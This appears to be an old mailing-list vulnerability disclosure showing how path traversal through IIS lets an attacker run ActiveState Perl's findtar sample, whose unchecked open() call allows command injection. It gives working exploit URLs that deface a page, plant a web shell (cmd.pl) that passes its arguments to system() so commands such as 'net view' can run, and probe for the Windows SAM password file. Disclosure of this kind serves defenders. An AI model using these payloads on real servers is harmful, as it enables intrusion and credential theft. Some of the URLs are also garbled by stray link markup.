Using a few flaws recently discovered (notably filename inspection, good job

NSFocus), and a couple new ones, it is possible to get Perl to execute

commands on the local system via IIS. Although, there are a few requirements

for this to work:



1) Server has to be running ActiveState's Perl (only tested with this,

others MAY be vulnerable)

2) Attacker knows where Perl is located



I'm assuming that the wwwroot of HOST is C:\InetPub\wwwroot\ and that Perl

is located in C:\Perl\



Here is an example URL an attacker could use:



+c:\InetPub\wwwroot\hacked.html+&+.pl" target="_new">http://host/."./."./Perl/eg/core/findtar+&+echo+hacked+>+c:\InetPub\wwwroot\hacked.html+&+.pl



That will execute C:\Perl\eg\core\findtar with arguments of:



& echo hacked > c:\InetPub\wwwroot\hacked.html & .pl



findtar is a sample that comes with ActiveState's Perl. I'm assuming it also

comes with other versions of Perl also. There are several scripts that you

can use to attack, I'm just using findtar as an example. When findtar is

executed, it uses the command line arguments in an open() call. Here is the

bad line of findtar:



open(find,"/usr/bin/find $args -ls |") || die "Can't run find for you.";



Just before this, $args is set by saying:



$args = join(' ',@ARGV);



As you can see, there isn't any checking of the arguments before they are

passed to the open() call. And why should there be, you shouldn't be able to

execute this from a browser anyway. So passing the arguments mentioned

earlier results in the command line:



/usr/bin/find & echo hacked > c:\InetPub\wwwroot\hacked.html & .pl -ls



Being executed on the system. Now going to http://host/hacked.html will

result in "hacked" being displayed.



A breakdown of the URL:



  http://host/ Just the host

  ."./."./ Traverses to C:\

  Perl/eg/core/findtar Perl script to execute

+&+echo hacked+>+c:\InetPub\wwwroot\hacked.html+&+.pl Arguments to the Perl

script.



One disadvantage of this exploit is that it's "blind". You can't see what

the output of a given command was. That can be easily fixed, see example.



Here's an example attack:



Assuming that the wwwroot of HOST is C:\InetPub\wwwroot\

Assuming that Perl is located in C:\Perl\



+c:\InetPub\wwwroot\cmd.pl+&+.pl" target="_new">http://host/."./."./Perl/eg/core/findtar+&+echo+system(@ARGV);+>+c:\InetPub\wwwroot\cmd.pl+&+.pl



We now have a file at http://host/cmd.pl that passes it's arguments to

system(); Executing commands is even easier now, and we can see the

command's output. To execute "net view" we would simply call:



http://host/cmd.pl?net%20view



And the output would be returned to us. It's worth mentioning that the

various parts of this exploit can be used alone.



You can get Perl to read any file you want by simply traversing to C:\ and

then walking back up to it's path. To see if C:\winnt\repair\sam._ exists, I

would simply go to:



http://host/."./."./winnt/reapir/sam._%20.pl



Perl will respond with something other than "File Not Found" if the file

exists.



You could use the bad example files from ActiveState's Perl if Perl was

installed, anywhere on the wwwroot branch. Say we installed Perl to

C:\InetPub\wwwroot\Perl\. It would be trivial to get

C:\InetPub\wwwroot\Perl\eg\core\findtar to execute commands for us. This

would also apply to a Unix installation.



The ."./."./ part needs no explanation, that is extremely useful. Breaking

out of WEBROOT is a no-no.



Thanks to NSFocus for the filename inspection information.



-key



_____________________________________________________________________________________

Get more from the Web.  FREE MSN Explorer download : http://explorer.msn.com